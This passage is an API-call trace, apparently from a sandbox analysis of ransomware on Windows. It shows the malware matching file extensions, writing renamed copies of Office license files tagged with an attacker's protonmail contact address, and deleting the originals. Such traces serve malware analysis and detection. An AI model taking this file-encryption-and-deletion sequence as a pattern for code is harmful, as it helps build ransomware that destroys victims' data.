	[0201.893] lstrlenW (lpString=".rar") returned 4
	[0201.893] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.893] lstrlenW (lpString=".bz2") returned 4
	[0201.893] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.893] lstrlenW (lpString=".7z") returned 3
	[0201.893] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84
	[0201.893] lstrlenW (lpString=".dbf") returned 4
	[0201.894] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84
	[0201.894] lstrlenW (lpString=".1cd") returned 4
	[0201.894] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84
	[0201.894] lstrlenW (lpString=".jpg") returned 4
	[0201.894] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84
	[0201.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84
	[0201.894] lstrlenW (lpString=".doc") returned 4
	[0201.894] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.894] lstrlenW (lpString=".docx") returned 5
	[0201.894] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.894] lstrlenW (lpString=".pdf") returned 4
	[0201.894] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.894] lstrlenW (lpString=".xls") returned 4
	[0201.894] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.894] lstrlenW (lpString=".xlsx") returned 5
	[0201.894] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.894] lstrlenW (lpString=".ppt") returned 4
	[0201.894] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84
	[0201.894] lstrlenW (lpString=".zip") returned 4
	[0201.894] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.894] lstrlenW (lpString=".rar") returned 4
	[0201.894] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.894] lstrlenW (lpString=".bz2") returned 4
	[0201.894] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.894] lstrlenW (lpString=".7z") returned 3
	[0201.894] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84
	[0201.894] lstrlenW (lpString=".dbf") returned 4
	[0201.895] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84
	[0201.895] lstrlenW (lpString=".1cd") returned 4
	[0201.895] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ppd.xrm-ms") returned 84
	[0201.895] lstrlenW (lpString=".jpg") returned 4
	[0201.895] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.895] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0201.895] lstrlenW (lpString="O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 37
	[0201.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0201.896] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11635) returned 1
	[0201.896] CloseHandle (hObject=0x510) returned 1
	[0201.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms")) returned 0x220
	[0201.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0201.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0201.897] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.897] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500
	[0201.897] GetLastError () returned 0x0
	[0201.897] ReadFile (in: hFile=0x510, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2d73, lpOverlapped=0x0) returned 1
	[0202.267] WriteFile (in: hFile=0x500, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0202.268] ReadFile (in: hFile=0x510, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.268] WriteFile (in: hFile=0x500, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0202.268] SetEndOfFile (hFile=0x500) returned 1
	[0202.269] CloseHandle (hObject=0x500) returned 1
	[0202.269] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.269] SetEndOfFile (hFile=0x510) returned 1
	[0202.273] CloseHandle (hObject=0x510) returned 1
	[0202.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.273] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-ul-oob.xrm-ms")) returned 1
	[0202.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87
	[0202.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87
	[0202.275] lstrlenW (lpString=".doc") returned 4
	[0202.275] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0202.275] lstrlenW (lpString=".docx") returned 5
	[0202.275] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0202.275] lstrlenW (lpString=".pdf") returned 4
	[0202.275] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0202.275] lstrlenW (lpString=".xls") returned 4
	[0202.275] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0202.275] lstrlenW (lpString=".xlsx") returned 5
	[0202.275] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0202.275] lstrlenW (lpString=".ppt") returned 4
	[0202.275] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0202.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87
	[0202.275] lstrlenW (lpString=".zip") returned 4
	[0202.275] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0202.275] lstrlenW (lpString=".rar") returned 4
	[0202.275] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0202.275] lstrlenW (lpString=".bz2") returned 4
	[0202.275] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0202.275] lstrlenW (lpString=".7z") returned 3
	[0202.275] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0202.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87
	[0202.275] lstrlenW (lpString=".dbf") returned 4
	[0202.275] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0202.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87
	[0202.275] lstrlenW (lpString=".1cd") returned 4
	[0202.275] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0202.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87
	[0202.275] lstrlenW (lpString=".jpg") returned 4
	[0202.276] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0202.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87
	[0202.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87
	[0202.276] lstrlenW (lpString=".doc") returned 4
	[0202.276] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0202.276] lstrlenW (lpString=".docx") returned 5
	[0202.276] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0202.276] lstrlenW (lpString=".pdf") returned 4
	[0202.276] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0202.276] lstrlenW (lpString=".xls") returned 4
	[0202.276] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0202.276] lstrlenW (lpString=".xlsx") returned 5
	[0202.276] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0202.276] lstrlenW (lpString=".ppt") returned 4
	[0202.276] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0202.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87
	[0202.276] lstrlenW (lpString=".zip") returned 4
	[0202.276] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0202.276] lstrlenW (lpString=".rar") returned 4
	[0202.276] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0202.276] lstrlenW (lpString=".bz2") returned 4
	[0202.276] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0202.276] lstrlenW (lpString=".7z") returned 3
	[0202.276] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0202.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87
	[0202.276] lstrlenW (lpString=".dbf") returned 4
	[0202.276] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0202.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87
	[0202.276] lstrlenW (lpString=".1cd") returned 4
	[0202.276] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0202.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-ul-oob.xrm-ms") returned 87
	[0202.277] lstrlenW (lpString=".jpg") returned 4
	[0202.277] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0202.277] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0202.277] lstrlenW (lpString="O365ProPlusR_Subscription1-pl.xrm-ms") returned 36
	[0202.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0202.278] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11195) returned 1
	[0202.278] CloseHandle (hObject=0x510) returned 1
	[0202.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms")) returned 0x220
	[0202.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0202.278] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.279] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500
	[0202.279] GetLastError () returned 0x0
	[0202.279] ReadFile (in: hFile=0x510, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2bbb, lpOverlapped=0x0) returned 1
	[0202.282] WriteFile (in: hFile=0x500, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0202.283] ReadFile (in: hFile=0x510, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.283] WriteFile (in: hFile=0x500, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0202.283] SetEndOfFile (hFile=0x500) returned 1
	[0202.283] CloseHandle (hObject=0x500) returned 1
	[0202.283] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.283] SetEndOfFile (hFile=0x510) returned 1
	[0202.287] CloseHandle (hObject=0x510) returned 1
	[0202.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.287] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-pl.xrm-ms")) returned 1
	[0202.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86
	[0202.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86
	[0202.289] lstrlenW (lpString=".doc") returned 4
	[0202.289] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0202.289] lstrlenW (lpString=".docx") returned 5
	[0202.289] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0202.289] lstrlenW (lpString=".pdf") returned 4
	[0202.289] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0202.289] lstrlenW (lpString=".xls") returned 4
	[0202.289] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0202.289] lstrlenW (lpString=".xlsx") returned 5
	[0202.289] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0202.289] lstrlenW (lpString=".ppt") returned 4
	[0202.289] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0202.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86
	[0202.289] lstrlenW (lpString=".zip") returned 4
	[0202.289] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0202.289] lstrlenW (lpString=".rar") returned 4
	[0202.289] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0202.289] lstrlenW (lpString=".bz2") returned 4
	[0202.289] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0202.289] lstrlenW (lpString=".7z") returned 3
	[0202.289] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0202.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86
	[0202.289] lstrlenW (lpString=".dbf") returned 4
	[0202.289] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0202.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86
	[0202.289] lstrlenW (lpString=".1cd") returned 4
	[0202.289] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0202.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86
	[0202.289] lstrlenW (lpString=".jpg") returned 4
	[0202.289] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0202.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86
	[0202.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86
	[0202.290] lstrlenW (lpString=".doc") returned 4
	[0202.290] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0202.290] lstrlenW (lpString=".docx") returned 5
	[0202.290] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0202.290] lstrlenW (lpString=".pdf") returned 4
	[0202.290] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0202.290] lstrlenW (lpString=".xls") returned 4
	[0202.290] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0202.290] lstrlenW (lpString=".xlsx") returned 5
	[0202.290] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0202.290] lstrlenW (lpString=".ppt") returned 4
	[0202.290] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0202.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86
	[0202.290] lstrlenW (lpString=".zip") returned 4
	[0202.290] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0202.290] lstrlenW (lpString=".rar") returned 4
	[0202.290] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0202.290] lstrlenW (lpString=".bz2") returned 4
	[0202.290] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0202.290] lstrlenW (lpString=".7z") returned 3
	[0202.290] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0202.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86
	[0202.290] lstrlenW (lpString=".dbf") returned 4
	[0202.290] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0202.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86
	[0202.290] lstrlenW (lpString=".1cd") returned 4
	[0202.290] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0202.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-pl.xrm-ms") returned 86
	[0202.290] lstrlenW (lpString=".jpg") returned 4
	[0202.290] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0202.291] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0202.291] lstrlenW (lpString="O365ProPlusR_Subscription1-ppd.xrm-ms") returned 37
	[0202.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0202.292] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=28261) returned 1
	[0202.292] CloseHandle (hObject=0x510) returned 1
	[0202.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms")) returned 0x220
	[0202.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0202.292] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.292] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500
	[0202.293] GetLastError () returned 0x0
	[0202.293] ReadFile (in: hFile=0x510, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x6e65, lpOverlapped=0x0) returned 1
	[0202.296] WriteFile (in: hFile=0x500, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x6e70, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x6e70, lpOverlapped=0x0) returned 1
	[0202.298] ReadFile (in: hFile=0x510, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.298] WriteFile (in: hFile=0x500, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0202.298] SetEndOfFile (hFile=0x500) returned 1
	[0202.298] CloseHandle (hObject=0x500) returned 1
	[0202.298] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.298] SetEndOfFile (hFile=0x510) returned 1
	[0202.301] CloseHandle (hObject=0x510) returned 1
	[0202.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.302] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms")) returned 1
	[0202.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87
